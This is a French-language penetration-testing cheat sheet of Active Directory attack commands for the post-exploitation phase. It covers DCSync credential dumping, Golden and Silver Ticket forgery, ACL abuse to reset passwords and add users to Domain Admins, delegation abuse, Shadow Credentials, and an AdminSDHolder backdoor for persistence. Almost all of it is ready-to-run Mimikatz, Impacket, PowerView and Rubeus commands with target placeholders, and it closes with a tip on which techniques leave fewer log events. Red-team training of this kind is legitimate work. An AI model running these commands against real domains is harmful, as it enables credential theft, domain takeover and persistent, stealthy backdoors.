---
title: "Attaques Active Directory avancées"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [active-directory, kerberos, golden-ticket, silver-ticket, dcsync, ACL, delegation, pentest]
difficulty: advanced
status: stable
updated: "2025-05-13"
---
## DCSync

```bash
# Prérequis : droits DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
# (Domain Admins, Enterprise Admins, SYSTEM sur DC)

# Mimikatz
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /all /csv
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:krbtgt
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:Administrator

# Impacket depuis Linux
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -just-dc
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -just-dc-user krbtgt
```

## Golden Ticket

```bash
# Prérequis : hash NTLM de krbtgt + SID du domaine

# Récupérer le hash krbtgt
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:krbtgt
# → Hash NTLM : aabbccdd...

# Récupérer le SID du domaine
Get-DomainSID   # PowerView
whoami /user    # depuis une machine du domaine

# Créer le Golden Ticket (durée 10 ans par défaut)
kerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} \
  /sid:S-1-5-21-XXXXXXXXXX /krbtgt:{{KRBTGT_HASH}} \
  /id:500 /groups:512 /ptt

# Depuis Linux — ticketer.py
ticketer.py -nthash {{KRBTGT_HASH}} -domain-sid S-1-5-21-XXXXXXXXXX \
  -domain {{TARGET_DOMAIN}} Administrator

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass {{TARGET_DOMAIN}}/Administrator@{{TARGET}}
```

## Silver Ticket

```bash
# Prérequis : hash NTLM du compte machine (ou compte de service)
# Accès au service cible sans contacter le DC

# Dump hash machine
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} | grep "machine"
# ou
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:{{TARGET}}$

# Silver Ticket pour CIFS (accès aux partages)
kerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} \
  /sid:S-1-5-21-XXXXXXXXXX /target:{{TARGET}}.{{TARGET_DOMAIN}} \
  /service:cifs /rc4:{{MACHINE_HASH}} /ptt

# Silver Ticket pour HTTP (IIS)
kerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} \
  /sid:S-1-5-21-XXXXXXXXXX /target:{{TARGET}}.{{TARGET_DOMAIN}} \
  /service:http /rc4:{{MACHINE_HASH}} /ptt

# Services : cifs, http, ldap, mssql, host, rpcss, wsman
```

## ACL Abuse

### ForceChangePassword

```powershell
# Changer le mot de passe sans connaître l'ancien
$pass = ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force
Set-DomainUserPassword -Identity {{USER}} -AccountPassword $pass

# Impacket
changepasswd.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -newpass "NewP@ss123!" -altuser victim
```

### GenericAll / GenericWrite

```powershell
# GenericAll sur un utilisateur → reset password, ajouter SPN, etc.
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force)

# GenericWrite → ajouter SPN (puis Kerberoast)
Set-DomainObject -Identity victim -Set @{servicePrincipalName='fake/{{TARGET}}'}
Get-DomainSPNTicket -SPN "fake/{{TARGET}}" -Format Hashcat

# GenericAll sur un groupe → ajouter membre
Add-DomainGroupMember -Identity "Domain Admins" -Members {{USER}}

# GenericWrite sur GPO → modification GPO
# (Utiliser SharpGPOAbuse ou pyGPOAbuse)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount {{USER}} --GPOName "Default Domain Policy"
```

### WriteDACL

```powershell
# Ajouter des droits DCSync sur le domaine
$secprincipal = New-Object System.Security.Principal.SecurityIdentifier (Get-DomainUser {{USER}}).objectsid
Add-DomainObjectAcl -TargetIdentity {{TARGET_DOMAIN}} -PrincipalIdentity {{USER}} -Rights DCSync
```

### WriteOwner → prendre possession

```powershell
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity {{USER}}
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity {{USER}} -Rights All
Add-DomainGroupMember -Identity "Domain Admins" -Members {{USER}}
```

## Délégation Kerberos — Unconstrained

```bash
# Trouver les machines avec délégation non contrainte
Get-DomainComputer -Unconstrained | select name, dnshostname

# Piège : forcer un DA à s'authentifier via PrinterBug ou autres
# PrinterBug (SpoolSample)
SpoolSample.exe {{DC_IP}} {{TARGET_IP}}   # sur la machine avec délégation non contrainte

# Attendre et récupérer le ticket avec Rubeus
Rubeus.exe monitor /interval:5 /nowrap
# ou via Mimikatz
sekurlsa::tickets /export
# Utiliser le ticket du DC → DCSync possible
```

## Délégation Kerberos — RBCD (Resource-Based Constrained Delegation)

```bash
# Prérequis : droits GenericWrite ou WriteMSDS sur l'objet cible
# Aussi possible si on peut créer des comptes machines (MachineAccountQuota)

# Créer un compte machine
addcomputer.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}} -method LDAPS \
  -computer-name ATTACK$ -computer-pass "P@ssword123"

# Configurer RBCD : autoriser ATTACK$ à déléguer vers TARGET
rbcd.py -f ATTACK -t {{TARGET}} -dc-ip {{TARGET_IP}} {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}

# Obtenir un ticket de service en tant qu'Administrator
getST.py -spn cifs/{{TARGET}}.{{TARGET_DOMAIN}} \
  -impersonate Administrator \
  -dc-ip {{TARGET_IP}} \
  {{TARGET_DOMAIN}}/ATTACK$:P@ssword123

export KRB5CCNAME=Administrator@cifs_{{TARGET}}.ccache
secretsdump.py -k -no-pass {{TARGET_DOMAIN}}/Administrator@{{TARGET}}.{{TARGET_DOMAIN}}
```

## Shadow Credentials

```bash
# Prérequis : GenericWrite sur le compte cible

# Ajouter une clé msDS-KeyCredentialLink
pywhisker.py -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} --target victim --action add

# Récupérer le TGT avec la clé générée
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass password {{TARGET_DOMAIN}}/victim victim.ccache

# Extraire le hash NTLM
getnthash.py -key {{SESSION_KEY}} {{TARGET_DOMAIN}}/victim
```

## Persistence — AdminSDHolder

```bash
# Modifier AdminSDHolder → backdoor persistant sur tous les objets protégés
# AdminSDHolder est copié sur tous les comptes privilégiés toutes les 60 min (SDProp)

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=lan" \
  -PrincipalIdentity {{USER}} -Rights All -Verbose

# Après 60 min (ou forcer SDProp)
$taskEA = Get-ScheduledTask -TaskName "SDProp" -ErrorAction SilentlyContinue
Invoke-DomainObjectPropertyChange -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=lan"
```

<Tip>
L'abus d'ACL (GenericAll, WriteDACL, ForceChangePassword) est souvent plus discret que les attaques Kerberos car il génère moins d'événements. Toujours vérifier avec BloodHound les chemins via "Outbound Object Control" depuis le compte compromis avant de tenter un mouvement.
</Tip>
